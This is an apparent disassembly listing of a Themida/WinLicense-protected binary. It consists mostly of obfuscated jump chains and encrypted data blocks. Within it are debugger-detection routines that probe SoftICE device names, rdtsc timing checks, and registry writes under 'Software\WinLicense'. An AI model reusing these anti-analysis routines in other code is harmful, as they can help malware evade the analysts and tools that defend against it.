mov al, 2Dh
jmp loc_5903DC
; ---------------------------------------------------------------------------
loc_5A561C: ; CODE XREF: Themida_:0059530Dj
mov esi, [esp]
add esp, 4
sub eax, 1
sub esp, 4
mov [esp], ebp
mov ebp, 0CC569A6h
sub eax, ebp
pop ebp
push edi
mov edi, 38AC7F41h
shl edi, 2
add edi, 79A93108h
jmp loc_59FD94
; ---------------------------------------------------------------------------
loc_5A5649: ; CODE XREF: Themida_:00599788j
pop eax
jmp loc_5A0909
; ---------------------------------------------------------------------------
loc_5A564F: ; CODE XREF: Themida_:005965EAj
mov eax, 4
jmp loc_5A453F
; ---------------------------------------------------------------------------
loc_5A5659: ; CODE XREF: Themida_:005975A5j
mov eax, 4
mov ecx, eax
pop eax
add ebp, ecx
jmp loc_5A14E2
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ebx
push esp
jmp loc_59A20F
; ---------------------------------------------------------------------------
loc_5A567B: ; CODE XREF: Themida_:0059D0E3j
add edi, ecx
push edx
mov edx, 21795E1Ch
xor edx, 3C993323h
sub edi, edx
pop edx
pop ecx
jmp loc_590D58
; ---------------------------------------------------------------------------
xchg al, [esp]
xchg bl, al
push 3C25h
mov [esp], ecx
push eax
jmp loc_5A36AE
; ---------------------------------------------------------------------------
loc_5A56A5: ; CODE XREF: Themida_:0059BEFAj
shl edi, 1
shr edi, 6
add edi, 0FFF38A1Ch
jmp loc_5A4F88
; ---------------------------------------------------------------------------
loc_5A56B5: ; CODE XREF: Themida_:005A105Bj
inc ebx
xor ebx, 0B795BEB4h
mov ecx, ebx
pop ebx
dec ecx
inc ecx
dec ecx
sub esp, 4
mov [esp], edx
jmp loc_5914F0
; ---------------------------------------------------------------------------
loc_5A56D0: ; CODE XREF: Themida_:00599BBFj
pop esi
mov ecx, [esp]
add esp, 4
xchg edx, [esp]
jmp loc_5954A5
; ---------------------------------------------------------------------------
loc_5A56E2: ; CODE XREF: Themida_:005A0820j
add edi, 0BAE0CA80h
add esi, edi
pop edi
jmp loc_5A3BA7
; ---------------------------------------------------------------------------
loc_5A56F0: ; CODE XREF: Themida_:0059F50Dj
mov [esp], edx
sub esp, 4
jmp loc_5A36A5
; ---------------------------------------------------------------------------
loc_5A56FE: ; CODE XREF: Themida_:0059C3A1j
push ebp
push 71F0101h
pop ebp
xchg edi, ebp
not edi
xchg edi, ebp
jmp loc_5940CF
; ---------------------------------------------------------------------------
loc_5A5710: ; CODE XREF: Themida_:005A2356j
add ecx, 1016653Bh
sub ecx, 7C8807CEh
xor [ecx], ebp
pop ecx
push dword ptr [esp]
pop ebx
add esp, 4
pop ebp
popa
jmp loc_592B3E
; ---------------------------------------------------------------------------
loc_5A5730: ; CODE XREF: Themida_:00591414j
inc ch
jmp loc_59D0E8
; ---------------------------------------------------------------------------
loc_5A5737: ; CODE XREF: Themida_:005919EBj
sub esp, 4
jmp loc_59E240
; ---------------------------------------------------------------------------
loc_5A5742: ; CODE XREF: Themida_:00592E2Fj
shr ebp, 4
push ecx
mov ecx, 43AA4F5Dh
sub esp, 4
jmp loc_59325B
; ---------------------------------------------------------------------------
loc_5A5753: ; CODE XREF: Themida_:00590B9Fj
add bl, al
add bl, 5
push ecx
mov cl, 0C1h
sub esp, 2
mov [esp], ax
jmp loc_59AE53
; ---------------------------------------------------------------------------
loc_5A5767: ; CODE XREF: Themida_:0059EE4Fj
pop ebx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A5773: ; CODE XREF: Themida_:005922DBj
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A5778: ; CODE XREF: Themida_:005838F4j
jmp loc_5A57CB
; ---------------------------------------------------------------------------
db 49h, 53h, 10h
dd 45535508h, 2E323352h, 6C6C64h, 41564441h, 32334950h
dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D8006C6Ch, 5000507h
dd 0D000200h, 22003000h, 5600h, 5 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5A57CB: ; CODE XREF: Themida_:loc_5A5778j
jmp loc_5A6072
; ---------------------------------------------------------------------------
push 6149DBEh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6149E27h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6149F28h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 614A038h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 614A0C0h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 614A1BAh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 614A230h
jmp loc_583BD9
; ---------------------------------------------------------------------------
dw 5B36h
dd 0BECE67B4h, 1F6B0451h, 850AA3F0h, 0E9A43D8Ah, 0CCE9D926h
dd 57A46B22h, 0F542CDBEh, 8EDB345Ch, 297699F5h, 8FF8004Fh
dd 0EC4DF3FCh, 9314390Fh, 5A766880h, 92F95A59h, 5C02EA7Dh
dd 7A392831h, 0F175DC72h, 0CF202B49h, 4B8777EFh, 0F9E8F184h
dd 806C323Ah, 505B29B9h, 0A0858E1Bh, 0AEEAD9E1h, 0E1923CBh
dd 0C3F8964Fh, 0A784CCBBh, 39A4AF27h, 0D43B53ECh, 7CD77055h
dd 16DD8232h, 733h, 0E532DDB4h, 82CF404Ch, 216EA1E9h, 0BB080788h
dd 57A46B22h, 0EDA04E67h, 4F3CD522h, 0B6DA73C0h, 1B730C59h
dd 7ECDA7F4h, 0F3FD1176h, 0BF95724Dh, 0BEF31C72h, 7A392831h
dd 2BE4AA63h, 0F3EC3898h, 848F49F3h, 8E810CC5h, 0BDD38CFBh
dd 246C0552h, 0FBF88F97h, 808B4DF3h, 7717E015h, 6EA21998h
dd 0EB90EBA0h, 6CA24h, 0C9464B00h, 66A9E37Ch, 50A8019h
dd 9F701FB8h, 3BD4B952h, 37B7FEEEh, 0D36CB956h, 710A57B8h
dd 0AA3F01Fh, 643E8B84h, 0FD7A0D15h, 2C094DF3h, 0F31C7256h
dd 0B1DE97BEh, 0D4BACB5Eh, 0AF1B063Bh, 0E27B5B32h, 0C24322BCh
dd 3CFAF6FCh, 0E3E578B5h, 3Fh, 0F22273F4h, 0A9B40BD4h
dd 1C72E816h, 0F6AFA6F3h, 0B8E67996h, 0DF5F6823h, 0DD3C5247h
dd 34F35EB1h, 6CFF107Bh, 1C09126Fh, 0C92E555Dh, 4A5549F1h
dd 51BED28Bh, 0EA256B04h, 639EEB5h, 72580000h, 31BEF31Ch
dd 0AADDE528h, 0D947DF5Fh, 9CA463CEh, 49F18956h, 50E93641h
dd 0B562133Eh, 6DDF4794h, 4F58B502h, 85F01F6Ch, 779FBEC6h
dd 0F9045006h, 0F813Ah, 12078841h, 8A5D927Dh, 0F68F8C1Fh
dd 20D7F9Ah, 243B6297h, 0E5786B1Ch, 75188747h, 0FC05B8DEh
dd 929A5964h, 47E60BF5h, 0D7E87B86h, 0E8D958B7h, 4AEDB25Eh
dd 5C9DEA5h, 474A0000h, 0AAE27BC8h, 0B7F1865h, 711EB704h
dd 0D5B8519Eh, 0B8FDED3Ah, 6BB85736h, 956B9D2h, 0A2EF2070h
dd 3D8A8509h, 7B0C1463h, 84DF3FEh, 5B14552Bh, 3748DB34h
dd 0BA83B857h, 1B063BD4h, 5A6832AFh, 9247DF5Ah, 0BCFCFCD5h
dd 0FF162922h, 813AFFFFh, 0FDD0050Ah, 1C723C6Ah, 2831BEF3h
dd 0C727A39h, 3B49F190h, 7D86E330h, 95D1D998h, 7950039Bh
dd 29E6A962h, 167121F4h, 6547DF81h, 747FC75Ah, 7497183Fh
dd 0A3E4ECA1h, 0E047DFA7h, 0AD38ACD5h, 0D2070886h, 0A10194FFh
dd 47DFB2EDh, 9EF5EC08h, 22BCB126h, 15FF3h, 0C39B4500h
dd 25E4D1DAh, 0F175311Dh, 8A495449h, 2D5EBBD1h, 6F4277E2h
dd 6BFBDBDCh, 73844B87h, 93ED1BAh, 0C5CEA336h, 851921E0h
dd 6029B980h, 7D8EF901h, 0E2ED21B9h, 0ACB54277h, 0C5FE06C5h
dd 2E23CBAEh, 0E3AB6423h, 0D1E8DF2Ch, 0A784BEC9h, 1FB2BD27h
dd 0F599800Eh, 3F30AF1Ah, 0B3327CD7h, 4B9470Eh, 573A0000h
dd 0BAD26BB8h, 1B6F0855h, 810EA7F4h, 0E5A8418Eh, 0C8EDDD2Ah
dd 5BA86726h, 0F946C9C2h, 92DF3060h, 2D7A95F9h, 8BFC0453h
dd 0F84DF3FFh, 0A5AE451Bh, 53F901C0h, 4649F3F2h, 0C8C37C3Bh
dd 8C45B447h, 934C0B04h, 19E217F8h, 9F329D72h, 7D94ABA2h
dd 0F3FC1275h, 0B666714Dh, 4DF3FBD1h, 314A7B2h, 0AC3828Dh
dd 8B548986h, 4D70C03h, 58210699h, 0A7D8536h, 794DF3FCh
dd 6984036Eh, 0E9EBA06Eh, 4317D44h, 0DFB20000h, 424AE330h
dd 0A3E780CDh, 9861F6Ch, 6D20B906h, 506555A2h, 0D320EF9Eh
dd 71BE513Ah, 0A57B8D8h, 0A5F21D71h, 13747CCBh, 704DF400h
dd 1C72BD93h, 99F5BEF3h, 0C7564176h, 0FA8D820Eh, 596933AEh
dd 3D47DF5Ah, 0DF615235h, 0BB263147h, 0BCFC87FEh, 0FD765222h
dd 0AA63FFFFh, 689629E6h, 0BEF31C72h, 4C432831h, 919958C3h
dd 49F1907Dh, 0FAB0FD08h, 0C6CFA89Bh, 500920DFh, 0E242D53Ah
dd 49F1756Ch, 19F69A9Bh, 73CD3B8h, 8978C934h, 0C255BAD0h
dd 6DE5362h, 0BBAAB3B6h, 0DDAAF4FCh, 7C7DF7F6h, 35C6FB14h
dd 0FBBAE33Ch, 0E34EB974h, 0EB246B24h, 0DDE67358h, 923139F8h
dd 0E1F208ABh, 99617D6h, 0F6B2ED60h, 47006F02h, 5009C847h
dd 0CC9FD43Bh, 2E453C39h, 0E4FC6126h, 0BBC322F5h, 0F5E4FCCCh
dd 0A639A4AFh, 7020F995h, 2C976A9Fh, 0B16FA6ADh, 0E0A74C43h
dd 337h, 0E936D9B8h, 86D33C50h, 25729DEDh, 0BF0C038Ch
dd 5BA86726h, 0E9A44A6Bh, 4B40D926h, 0B2DE77C4h, 1777105Dh
dd 82D1ABF8h, 0F4010D7Ah, 0BB916E4Dh, 1C0A5AEh, 0F3F24DF9h
dd 0EEADB849h, 0DF605B35h, 0E9DD8519h, 6C1BCBC9h, 464DF3CFh
dd 2530C847h, 0BCD46DBAh, 76F71E53h, 0FC1124E5h, 2B5C649Fh
dd 584DF3A6h, 3E4FE24Dh, 940BF50h, 0C9EBA0B4h, 2C15D24h
dd 4F420000h, 0B2DA73C0h, 1377105Dh, 7916AFFCh, 0DDB04996h
dd 0C0F5E532h, 63B05F2Eh, 14EC1CAh, 9AE72868h, 35828D01h
dd 83040C5Bh, 4DF401h, 0A5AE4D23h, 4DF901C0h, 0B849F3F2h
dd 106DEEADh, 5355E653h, 0A45DCC5Fh, 0AD6625EAh, 9D9A2DE2h
dd 878FA6h, 834DF45Ah, 610E578h, 0E1A6AEC5h, 0A24DF459h
dd 59A0E797h, 0D8E34DF4h, 97F5AE6Dh, 0CC010E82h, 8CFB8EF9h
dd 0F45A3D84h, 4A7F8A4Dh, 0CE030C81h, 7B9EEFA8h, 8D820910h
dd 0AF1A8558h, 16FB0562h, 0E665D657h, 0DE2FD691h, 0EBD4DC4Bh
dd 0B14DF435h, 35F5929Ah, 7B864DF4h, 0EC9FA0E8h, 0BA83B823h
dd 0DF063BD4h, 241647C8h, 934A21E0h, 0F44FA4E3h, 39CCD74Dh
dd 9D7C12CBh, 66B31EF1h, 37D8B66Fh, 255AB5D6h, 0E0AEBF52h
dd 5159702Fh, 4DF45036h, 0C2A73A45h, 41221A9Bh, 0C36BF1D4h
dd 77DA4830h, 0FDC6FB14h, 6A497E91h, 0C4E6FBE6h, 0F09E4998h
dd 0C4DBD21Fh, 0F371CBBCh, 1AADB84Dh, 558A8509h, 7518018Ch
dd 6992659Ah, 0B9D15A25h, 5B90FB74h, 0E217F892h, 659A7519h
dd 28BD2468h, 0DBB42DB1h, 0E2A5ADC4h, 0A14DF37Ah, 7AA1E696h
dd 0E1E24DF3h, 3BFA65AAh, 0F37A5433h, 891C274Dh, 0ACF91678h
dd 0EC9F7A13h, 0B01BEE23h, 6947DB7Bh, 4449A43Dh, 0A8E57ECBh
dd 0F40B3267h, 0F37A9BECh, 4ADDE84Dh, 83B85739h, 4945D4BAh
dd 53BE91C6h, 0D43B551Eh, 0ECF5099Fh, 16CBB7F7h, 38D7B46Dh
dd 8C9D3003h, 0CAC10E01h, 7F037749h, 76090BABh, 0B1E62965h
dd 65773099h, 0B0486A5h, 907F0DD6h, 30B1C55Bh, 627F6BABh
dd 49080787h, 234DD3C8h, 89B6819h, 0F31C720Bh, 7798F5BEh
dd 0F9167942h, 7E91FBC4h, 0D9084C49h, 1FC2D604h, 8645CAC4h
dd 0E86A0E05h, 10F2BE04h, 9DDCE66Fh, 0DDDA6DD8h, 69714A44h
dd 646A41Eh, 0B2E7525Dh, 76351C25h, 58A48C6Eh, 545CBB08h
dd 54A433h, 0D2070887h, 0F15C67FFh, 573E47A4h, 38989098h
dd 202B0269h, 28E7A861h, 0AC632AF3h, 0EEA1841h, 7D36370Ch
dd 523C05EAh, 627970BDh, 413C2D5Ah, 0B0434E06h, 0EB20EF9Fh
dd 242724D3h, 746D81F0h, 0E629621Bh, 2988CDBDh, 85185B9Ch
dd 0A8F51A74h, 0BE93F8B1h, 22FD61F9h, 942792ACh, 0CF040B83h
dd 0FE8991A8h, 7DF844B1h, 0C1CEDF72h, 6271194Eh, 0B144434Bh
dd 2C37F844h, 59944D99h, 0F48DDA35h, 0D903B79Ah, 62EEFEF3h
dd 44F52D5Ah, 0D8434EF8h, 2071386Dh, 9A000000h, 2E63ACE1h
dd 0B2E72865h, 0ADB574DFh, 0F844F4DAh, 0DD0B9EA9h, 2C72F322h
dd 8EB4CA90h, 723F6D00h, 0F2BBF01Fh, 753E739Ch, 0F6BFF41Bh
dd 7C457A95h, 0C9FE11h, 844D828Dh, 6CF040Bh, 8D568B84h
dd 0D4DB10FFh, 81E28952h, 4C2h, 4BE5600h, 29000000h, 14875EF2h
dd 20685C24h, 89000047h, 89572414h, 4C781E7h, 81000000h
dd 4EFh, 243C8700h, 2434895Ch, 57036853h, 815B16F7h, 0E2B9C7EBh
dd 8BDA8910h, 0C481241Ch, 4, 8904EC83h, 4832424h, 525E0424h
dd 0FB242C81h, 8F4EA350h, 46810846h, 0A350FB08h, 2434FF4Eh
dd 4C4815Eh, 0FF000000h, 835A2434h, 6AE904C4h, 94FFFDDBh
db 8Fh, 21h
; ---------------------------------------------------------------------------
loc_5A6072: ; CODE XREF: Themida_:loc_5A57CBj
mov eax, 614A516h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 24h
dd 0AE5359E7h, 0BB0A098Bh, 9000D438h, 0BC56FD1Ah, 725D5955h
dd 0DA5D139Fh, 83D5795h, 0A129238Fh, 306684F0h, 8F24404Ch
dd 8D393446h, 5D6E510Bh, 5116EA9Dh, 0C2B9B61h, 810A6380h
dd 586AC65Ch, 2F07AB44h, 785A1E6Eh, 2946B11Eh, 42569788h
dd 1860CC56h, 9F2A59A7h, 0CF06251Eh, 1B3DA979h, 0C140C15Dh
dd 7553076Bh, 2636F9A9h, 0C719AC5Eh, 0D69BC2Ch, 0F4625423h
dd 0E81245B4h, 6, 166342E2h, 0BF0FB993h, 0C3815BCEh, 71D9h
dd 0CE9h, 8DCC3200h, 6AFD56CCh, 0DE29FCE4h, 1C4DBF5Bh
dd 81600000h, 68D4FAC7h, 0DF816634h, 8B61C5F5h, 6FF08103h
dd 0E81DE575h, 6, 0E10EBC6Ch, 8B668DA7h, 0E88159D3h, 7C5E6C4Ah
dd 8191E280h, 0BE9C4BF0h, 5BC18068h, 0F2810389h, 0CA4E53h
dd 0AFF2EB81h, 0BE827B1h, 0F0000000h, 417EB947h, 0D339A5B1h
dd 0D6816CE2h, 216437ABh, 0EEC3815Eh, 8027B1AFh, 0F4F80E5h
dd 0FFFFA285h, 128F0FFFh, 0E8000000h, 9, 35E52DAAh, 0AFE915F9h
dd 0D08B6630h, 8DE95Eh, 83600000h, 121641BDh, 840F0006h
dd 5, 78E9h, 80006A00h, 850F303Eh, 8, 0E946006Ah, 35h
dd 0F333E80h, 885h, 46106A00h, 24E9h, 343E8000h, 8850Fh
dd 306A0000h, 13E946h, 3E800000h, 8850F35h, 6A000000h
dd 2E94640h, 6A000000h, 203E8000h, 12850Fh, 7E800000h
dd 850F0001h, 8, 0E908C483h, 15h, 1BCD858Dh, 89500612h
dd 50962404h, 0FF006A96h, 122D0995h, 0C6C36106h, 1215C185h
dd 4E84D06h, 0A8000000h, 50A43576h, 424448Bh, 4489008Bh
dd 0FF580424h, 12335DB5h, 48858D06h, 0FF06123Bh, 98589D0h
dd 0E906122Dh, 0AAh, 74666F53h, 65726177h, 6E69575Ch, 6563694Ch
dd 65736Eh, 63656843h, 4E496Bh, 6F727058h, 69784574h, 68430074h
dd 4F6B6365h, 57005455h, 694C6E69h, 736E6563h, 72655665h
dd 6E6F6973h, 6E695700h, 6563694Ch, 4465736Eh, 65766972h
dd 72655672h, 6E6F6973h, 6E695700h, 6563694Ch, 4965736Eh
dd 6174736Eh, 65636Eh, 74697845h, 50006B4Fh, 49636F72h
dd 7250004Eh, 554F636Fh, 78450054h, 4E497469h, 69784500h
dd 54554F74h, 49705400h, 4Eh, 2 dup(0)
dd 0B9080000h, 0D5BB77DEh, 96E977DFh, 89000005h, 14A82C85h
dd 28858D06h, 500614A8h, 0A792858Dh, 68500614h, 80000001h
dd 0A83895FFh, 196A0614h, 0A82CB5FFh, 16A0614h, 858D006Ah
dd 614A7C1h, 28B5FF50h, 0FF0614A8h, 12265195h, 28B5FF06h
dd 0FF0614A8h, 14A83495h, 28B5FF06h, 0FF0614A8h, 12267195h
dd 8589C306h, 614A82Ch, 0A828858Dh, 8D500614h, 14A79285h
dd 1685006h, 0FF800000h, 14A83895h, 8D046A06h, 14A82C85h
dd 46A5006h, 858D006Ah, 614A7EBh, 28B5FF50h, 0FF0614A8h
dd 12265195h, 28B5FF06h, 0FF0614A8h, 14A83495h, 28B5FF06h
dd 0FF0614A8h, 12267195h, 8589C306h, 614A82Ch, 0A828858Dh
dd 8D500614h, 14A79285h, 1685006h, 0FF800000h, 14A83895h
dd 8D046A06h, 14A82C85h, 46A5006h, 858D006Ah, 614A7D3h
dd 28B5FF50h, 0FF0614A8h, 12265195h, 28B5FF06h, 0FF0614A8h
dd 14A83495h, 28B5FF06h, 0FF0614A8h, 12267195h, 8589C306h
dd 614A82Ch, 0A828858Dh, 8D500614h, 14A79285h, 1685006h
dd 0FF800000h, 14A83895h, 8D046A06h, 14A82C85h, 46A5006h
dd 858D006Ah, 614A7FEh, 28B5FF50h, 0FF0614A8h, 12265195h
dd 28B5FF06h, 0FF0614A8h, 14A83495h, 28B5FF06h, 0FF0614A8h
dd 12267195h, 8589C306h, 614A82Ch, 0A828858Dh, 8D500614h
dd 14A79285h, 1685006h, 0FF800000h, 14A83895h, 8D046A06h
dd 14A82C85h, 46A5006h, 858D006Ah, 614A7AEh, 28B5FF50h
dd 0FF0614A8h, 12265195h, 28B5FF06h, 0FF0614A8h, 14A83495h
dd 28B5FF06h, 0FF0614A8h, 12267195h, 0BD83C306h, 61213F1h
dd 0B840F00h, 8B000000h, 1213F19Dh, 4CC38306h, 83C30389h
dd 1213F1BDh, 840F0006h, 0Bh, 13F19D8Bh, 0C3830612h, 0C3038950h
dd 13F1BD83h, 0F000612h, 0B84h, 0F19D8B00h, 83061213h
dd 38954C3h, 0F1BD83C3h, 61213h, 0B840Fh, 9D8B0000h, 61213F1h
dd 8958C383h, 0BD83C303h, 61213F1h, 0B840F00h, 8B000000h
dd 1213F19Dh, 5CC38306h, 0C3C30389h, 2C858960h, 8D0614A8h
dd 14A82885h, 858D5006h, 614A792h, 16850h, 95FF8000h, 614A838h
dd 858D046Ah, 614A82Ch, 6A046A50h, 23858D00h, 500614A8h
dd 0A828B5FFh, 95FF0614h, 6122651h, 2F01BD83h, 0F000612h
dd 0C84h, 28B5FF00h, 0FF0614A8h, 14A83495h, 28B5FF06h
dd 0FF0614A8h, 12267195h, 60C36106h, 0A82C8589h, 858D0614h
dd 614A828h, 92858D50h, 500614A7h, 168h, 3895FF80h, 6A0614A8h
dd 2C858D04h, 500614A8h, 6A046Ah, 0A805858Dh, 0FF500614h
dd 14A828B5h, 5195FF06h, 83061226h, 122F01BDh, 840F0006h
dd 0Ch, 0A828B5FFh, 95FF0614h, 614A834h, 0A828B5FFh, 95FF0614h
dd 6122671h, 8960C361h, 14A82C85h, 28858D06h, 500614A8h
dd 0A792858Dh, 68500614h, 80000001h, 0A83895FFh, 46A0614h
dd 0A82C858Dh, 6A500614h, 8D006A04h, 14A80C85h, 0B5FF5006h
dd 614A828h, 265195FFh, 0BD830612h, 6122F01h, 0C840F00h
dd 0FF000000h, 14A828B5h, 3495FF06h, 0FF0614A8h, 14A828B5h
dd 7195FF06h, 61061226h, 858960C3h, 614A82Ch, 0A828858Dh
dd 8D500614h, 14A79285h, 1685006h, 0FF800000h, 14A83895h
dd 8D046A06h, 14A82C85h, 46A5006h, 858D006Ah, 614A814h
dd 28B5FF50h, 0FF0614A8h, 12265195h, 1BD8306h, 6122Fh
dd 0C840Fh, 0B5FF0000h, 614A828h, 0A83495FFh, 0B5FF0614h
dd 614A828h, 267195FFh, 0C3610612h, 2C858960h, 8D0614A8h
dd 14A82885h, 858D5006h, 614A792h, 16850h, 95FF8000h, 614A838h
dd 858D046Ah, 614A82Ch, 6A046A50h, 1B858D00h, 500614A8h
dd 0A828B5FFh, 95FF0614h, 6122651h, 2F01BD83h, 0F000612h
dd 0C84h, 28B5FF00h, 0FF0614A8h, 14A83495h, 28B5FF06h
dd 0FF0614A8h, 12267195h, 60C36106h, 0A82C85C7h, 10614h
dd 858D0000h, 614A828h, 92858D50h, 500614A7h, 268h, 3895FF80h
dd 0B0614A8h, 0F840FC0h, 0C7000000h, 14A82C85h, 6, 4DE900h
dd 46A0000h, 0A82C858Dh, 6A500614h, 8D006A04h, 14A7A685h
dd 0B5FF5006h, 614A828h, 265195FFh, 0C00B0612h, 0F840Fh
dd 85C70000h, 614A82Ch, 0
; ---------------------------------------------------------------------------
jmp loc_5A67CF
; ---------------------------------------------------------------------------
mov dword ptr [ebp+614A82Ch], 1
loc_5A67CF: ; CODE XREF: Themida_:005A67C0j
push dword ptr [ebp+614A828h]
call dword ptr [ebp+6122671h]
popa
mov eax, [ebp+614A82Ch]
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+614A82Ch], eax
lea eax, [ebp+614A828h]
push eax
lea eax, [ebp+614A792h]
push eax
push 80000001h
call dword ptr [ebp+614A838h]
push 4
lea eax, [ebp+614A82Ch]
push eax
push 4
push 0
lea eax, [ebp+614A7A6h]
push eax
push dword ptr [ebp+614A828h]
call dword ptr [ebp+6122651h]
cmp dword ptr [ebp+6122F01h], 0
jz loc_5A683C
push dword ptr [ebp+614A828h]
call dword ptr [ebp+614A834h]
loc_5A683C: ; CODE XREF: Themida_:005A682Aj
push dword ptr [ebp+614A828h]
call dword ptr [ebp+6122671h]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+614A82Ch], eax
lea eax, [ebp+614A828h]
push eax
lea eax, [ebp+614A792h]
push eax
push 80000001h
call dword ptr [ebp+614A838h]
push 4
lea eax, [ebp+614A82Ch]
push eax
push 4
push 0
lea eax, [ebp+614A7B8h]
push eax
push dword ptr [ebp+614A828h]
call dword ptr [ebp+6122651h]
cmp dword ptr [ebp+6122F01h], 0
jz loc_5A68A3
push dword ptr [ebp+614A828h]
call dword ptr [ebp+614A834h]
loc_5A68A3: ; CODE XREF: Themida_:005A6891j
push dword ptr [ebp+614A828h]
call dword ptr [ebp+6122671h]
popa
retn
; ---------------------------------------------------------------------------
mov byte ptr [ebp+61215C1h], 52h
push 0ADE47B07h
push dword ptr [ebp+6122FD1h]
call dword ptr [ebp+6120C69h]
mov [ebp+614A838h], eax
mov byte ptr [ebp+61215C1h], 52h
push 902E00E5h
push dword ptr [ebp+6122FD1h]
call dword ptr [ebp+6120C69h]
mov [ebp+614A834h], eax
mov byte ptr [ebp+61215C1h], 52h
push 0B9BF1235h
push dword ptr [ebp+6122FD1h]
call dword ptr [ebp+6120C69h]
mov [ebp+6122651h], eax
mov byte ptr [ebp+61215C1h], 52h
push 98781034h
push dword ptr [ebp+6122FD1h]
call dword ptr [ebp+6120C69h]
mov [ebp+6122671h], eax
mov byte ptr [ebp+61215C1h], 52h
push 0C005DBD4h
push dword ptr [ebp+6122FD1h]
call dword ptr [ebp+6120C69h]
mov [ebp+6121469h], eax
jmp short loc_5A6967
; ---------------------------------------------------------------------------
db 2 dup(5Ch), 2Eh
dd 4349535Ch, 5C5C0045h, 49535C2Eh, 44495657h, 2E5C5C00h
dd 49544E5Ch
db 43h, 45h, 0
; ---------------------------------------------------------------------------
loc_5A6967: ; CODE XREF: Themida_:005A6947j
mov eax, eax
cmp dword ptr [ebp+6122F01h], 0
jnz short loc_5A697B
cmp dword ptr [ebp+6122149h], 0
jz short loc_5A6994
loc_5A697B: ; CODE XREF: Themida_:005A6970j
push eax
push ebx
mov eax, eax
mov eax, 40Fh
mov [ebp+6120B35h], eax
lea ebx, [ebp+614AD09h]
call ebx ; _iob
pop ebx
pop eax
loc_5A6994: ; CODE XREF: Themida_:005A6979j
cmp dword ptr [ebp+6122149h], 0
jz short loc_5A69B4
push eax
push ebx
mov eax, 40Fh
mov [ebp+6120B35h], eax
lea ebx, [ebp+614A9F8h]
call ebx ; _iob
pop ebx
pop eax
loc_5A69B4: ; CODE XREF: Themida_:005A699Bj
mov cl, 49h
mov dx, 132Dh
jz loc_5A69C6
mov [ebp+612213Dh], eax
loc_5A69C6: ; CODE XREF: Themida_:005A69BAj
mov eax, eax
cmc
mov byte ptr [ebp+61215C1h], 43h
push 0
push edx
call sub_5A69DB
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A69DB proc near ; CODE XREF: Themida_:005A69D3p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5A69DB endp
; ---------------------------------------------------------------------------
db 0D0h
dd 68D1AB17h, 0D72BFC74h, 52505250h, 0B5B9310Fh, 5A177080h
dd 0E8310F58h, 9, 0E728448Ch, 0E528C2A3h, 5AD18B02h, 3481585Ah
dd 0A5928824h, 6FE6806Bh, 68D0Fh, 85890000h, 6121AF9h
dd 17F1B5FFh, 0BF660612h, 858DEC34h, 6123B48h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0AFC35040h, 39EF1924h
dd 1770A865h, 0BFD0FF4Bh, 72F16787h, 9D9D8960h, 6106121Bh
dd 0E9525090h, 8, 6677E274h, 0EB4F0DD8h, 12E9310Fh, 9E000000h
dd 0FDFD7BE8h, 0DE95255Fh, 0D7F9076Fh, 43A69B40h, 50585A0Eh
dd 90CF8B66h, 0D8ED78B9h, 89006A6Dh, 1225BDB5h, 0CFB70F06h
dd 0F44A0868h, 298A0FCDh, 0E8000000h, 0Dh, 0EB5B3A69h
dd 86E4E412h, 6C83B40Ah, 11E9D6h, 9F950000h, 0E5FC40E2h
dd 68AA81EEh, 0A0C0F4h, 5A818BE2h, 78240481h, 6A320BB6h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 74AFC355h, 0CA4EFE3Eh, 8BF40132h, 214DB589h
dd 36A0612h, 0E9F78B66h, 0Eh, 12C3CB6Dh, 5EECA1ECh, 0B413B912h
dd 6ADE2Ah, 3D1BD8Bh, 36A0612h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 18h, 0A0C35646h, 2348AB90h, 22D18D8Bh
dd 81660612h, 0E88A19CAh, 4, 0C0000000h, 8BEC8A50h, 66042444h
dd 8BA200BAh, 12E85000h, 6F000000h, 0C9C20AFCh, 9D352129h
dd 52D4A61h, 0F67C1CAFh, 880F6Fh, 5F000000h, 24448959h
dd 6A5804h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
dd 53430000h, 4E6944C3h, 6F9D8DC3h, 660614AEh, 5093CE8Bh
dd 0FE9h, 2C118400h, 0ABD6E574h, 0AD292D26h, 0C4E6894h
dd 0FACF8193h, 0FF2DAA2Bh, 68D0FD0h, 8B000000h, 121AF595h
dd 850F4006h, 32Dh, 17E1B58Bh, 2B580612h, 1210CD95h, 0EEBE9006h
dd 50776C5Fh, 5E860h, 1E210000h, 5086A016h, 5A310F52h
dd 0E8575F58h, 0Eh, 306F312Ah, 566BF5ADh, 0C5B16112h, 585E4275h
dd 5E99061h, 43000000h, 5D28EAF0h, 6AC88B66h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 5B35CFD9h, 0A8556FBCh, 9E8h, 0CE08C100h, 8FABE523h
dd 0BD2321DEh, 6122D21h, 92E8685Fh, 8B66BE88h, 240481CEh
dd 41776D98h, 4098D89h, 36A0612h, 0BD8B006Ah, 6122135h
dd 6A036Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 6A7EA0C3h, 8B66D5E7h, 4E8D6h, 0
dd 5250C000h, 0BE8h, 738EE000h, 49E927E4h, 4F5F07B5h, 0F596160h
dd 5AF98B31h, 840F5058h, 2, 448BFE8Bh, 8B0424h, 11E9h
